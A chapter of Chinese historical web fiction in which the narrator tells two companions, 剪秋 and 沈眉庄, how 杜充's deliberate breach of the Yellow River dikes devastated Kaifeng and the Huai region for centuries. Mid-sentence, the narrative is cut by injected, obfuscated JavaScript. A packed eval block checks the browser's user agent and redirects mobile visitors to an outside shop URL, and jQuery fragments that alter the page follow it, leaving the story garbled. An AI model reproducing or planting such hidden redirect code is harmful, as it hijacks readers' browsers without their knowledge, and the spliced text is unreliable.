第二天傍晚，当西边的天空被晚霞染成一片瑰丽的、带着血色的橘红时，我们又随着村里的女子们，来到村后那条熟悉的小河湾。劳作了一整天的疲乏，似乎只有在清凉的河水中才能得到片刻的舒缓。水波温柔地拂过晒得发烫、布满细小划痕的肌肤，带走汗水、泥尘和麦芒碎屑，也仿佛暂时带走了那沉甸甸的疲惫。


    剪秋和沈眉庄今日的动作比昨日熟练了许多，但眉宇间的困惑与深思，却比昨日更浓。她们互相搓洗着后背，偶尔交换一个眼神，那眼神里有许多欲言又止的话。


    我冲洗着胳膊上的泥痕，目光扫过她们。河水粼粼，映着她们年轻却已带上风霜之色的脸庞。我没有说话，只是慢慢向水湾更僻静、有块大石头遮挡的上游走了几步，然后停下，撩起水，缓缓擦洗。


    她们会意，也无声地跟了过来，三人围成一个小小的圈，水流在我们中间打着旋儿。


    四下无人，只有晚风穿过岸边的芦苇丛，发出沙沙的声响，还有远处村落里隐约传来的几声犬吠。这是一个难得的、可以低声说话的片刻。


    剪秋最先忍不住，她凑近我，声音压得极低，带着一种难以理解的茫然：“姐姐，有件事，我和眉庄妹妹今日收麦歇晌时，私下里琢磨了好久，越想越……堵得慌。” 她顿了顿，似乎在选择措辞，“我们……我们也读过些书，看过些画。前朝的《清明上河图》，还有那些文人笔记里的《东京梦华录》……里面写的、画的开封，那是何等样的繁华！汴水滔滔，虹桥如市，车马如龙，店铺鳞次，游人如织，说是‘八荒争凑，万国咸通’都不为过。可眼前这开封城……还有咱们待的这村子……”


    她没再说下去，但语气里的巨大落差与疑问，已表露无疑。


    沈眉庄也开了口，她的声音更轻，却更清晰，带着读书人特有的追根究底：“我们今儿个还偷偷算了算。以这村里人家的收成，再结合那茶摊老板、老河兵所说的情况，开封府这些年，能维持眼下这个样子，没有彻底凋敝，已是不易。这……这几乎像是某种极限了。可我们想不通，短短数百年，同样是这片土地，同样是这条汴河，同样是开封，为何会有这般天差地别的景象？到底发生了什么？”


    她们问完，都眼巴巴地望着我。夕阳的最后一抹余晖落在她们脸上，照亮了那上面的汗水、困惑，以及一丝对真相的渴求。


    我掬起一捧水，扑在脸上，清凉的水珠让我思绪更清晰了些。是时候，将这片土地更深的伤口，指给她们看了。


    “你们可曾相信，这世间真有‘昏君奸佞，祸害千年’这种事？” 我放下手，没有看她们，目光投向远处暮色苍茫的、沉默的大地，声音平静，却像投入深潭的石子，字字沉重，“有时，历史比话本更荒唐，也比话本更残忍。有些事，一个人，一次决定，就能让千里沃野化作不毛之地，让百万生民流离失所，让一个朝代的繁华根基毁于一旦，其遗毒，甚至能延绵数百年，至今未消。”


    我转回目光，看向她们瞬间屏住的呼吸：“建炎二年，金兵南下。宋朝有个大臣，叫杜充。此人奉命镇守开封，为阻金兵，他下令，掘开了黄河大堤。”


    “什么？！” 沈眉庄低呼出声，剪秋也猛地捂住了嘴，眼中满是骇然。


    “是的，主动掘堤，人为决口。” 我重复了一遍，每个字都像是淬了冰，“滔滔黄河水，自掘开的口子倾泻而出，改道南下，夺淮河入海。史书只一笔带过，‘自是河道南徙，不复归旧’，‘民溺死者数十万，漂没田庐无算’。寥寥数字背后，是尸横遍野，是良田尽成泽国，是淮泗之间，赤地千里，人烟断绝。”


    河水似乎也变冷了。剪秋和眉庄不由自主地打了个寒噤。


    “然而，这仅仅是个开始。” 我继续道，声音低沉而清晰，“自那之后，直到金朝明昌二年，这中间近七十年，黄河彻底失控。没有固定河道，没有有效治理。河水像一匹脱缰的疯马，在河南、安徽、江苏北部这片广袤的平原上肆意奔腾、改道、泛滥。今日这里还是良田，明日或许就成一片汪洋；后日水退，留下的却是厚厚的、无法耕种的泥沙和盐碱。百姓刚重建家园，下一次洪水或许又接踵而至。流民塞途，饿殍遍野，瘟疫横行……你们可以想象，那几十年的中原大地，是何等景象。”


    我指向脚下这片我们刚刚劳作过的土地，指向远处那片收割过的、此刻在暮色中显得格外疲惫的麦田：“这片土地，曾是大宋最富庶的粮仓，是支撑汴京‘梦华’的基石。可经过那几十年的反复浸泡、冲刷、淤积、盐碱化……沃土变成了什么？或许就是你们今日脚下这种，需要小心翼翼侍弄、收成却总不尽如人意的薄田；是远处那些大片大片的、只能长些耐碱野草的荒滩。人口锐减，城池废弃，千里萧条。”


    沈眉庄的脸色白了，她聪慧，立刻想到了更深一层：“姐姐是说……自那以后，江淮之地，便再也难复旧观？所以……所以后来，无


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16963322|193341||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    论是金是元，乃至本朝，江淮虽仍是产粮之地，却再难恢复宋时那般‘苏湖熟，天下足’的盛况？全国舆图上，江淮一带，大城确实不多……”


    “不错。” 我点头，“元气大伤，根基被毁。黄河夺淮入海，带来的不仅仅是水患，更是整个水系、生态、农业系统的毁灭性打击。后来的元、明，乃至大清，虽也竭力治理，疏浚漕运，但黄河这条巨龙，早已不是宋时那条相对安澜、滋养汴梁的‘利河’了。它成了悬在头顶的剑，成了需要举国之力不断堵漏、加高堤防才能勉强约束的‘害河’。直到前明万历年间，潘季驯总理河道，提出‘束水攻沙’等法，大力整治，情况才稍有好转，黄河下游才算有了一段相对稳定的时期，这开封城，也才得以在一次次废墟上，勉强重建，支撑至今。否则……”


    我没有说下去。但她们都懂了。否则，今日我们所见，或许连这“城摞城”的、带着疲惫生机的开封都不会有，只会是一片更荒凉、更破败的废墟。


    河水静静地流淌，带走白日的燥热，也仿佛带走了数百年前那场人为浩劫的血泪与哀嚎。但那伤痕，却已深深烙进了这片土地的肌理血脉之中，体现在每一寸需要与盐碱抗争的土地上，体现在每一个需要仰赖“悬河”偶尔恩赐一点“肥泥”的农人脸上，体现在这条再也无法承载“清明上河”之梦的、浑浊而疲惫的汴河里。


    “杜充一掘，看似只为退敌一时，却开启了一场长达数百年的生态灾难与人道惨剧。” 我最后总结，声音里带着无尽的沉重与讽刺，“这便是‘祸害千年’。今日我们所见开封之凋敝，民生之艰难，黄河之悬危，其根由，皆可追溯至那一场荒谬绝伦、遗毒无穷的决堤。历史的一粒灰，落在个人头上，就是一座山。而历史上一个蠢货的一次疯狂决定，落在万千黎庶头上，便是数百年的水深火热，生生世世难以摆脱的噩梦。”


    沈眉庄和剪秋久久无言。她们赤着身子站在微凉的河水中，晚风吹过，激起一阵战栗。但那战栗，已不仅仅是身体的冷，更是从灵魂深处泛起的、对历史无常与残酷的深深寒意，以及对脚下这片多难土地，更添一重复杂难言的悲悯。


    原来，所有的“极限”，所有的“困苦”，并非天生如此，也并非仅仅因为“朝廷无道”或“天灾频仍”。在那层层叠叠的苦难之下，还埋藏着如此深重、如此遥远，却又如此真切地影响着今日每一个人呼吸的历史创痛。


    夜色，终于完全降临了。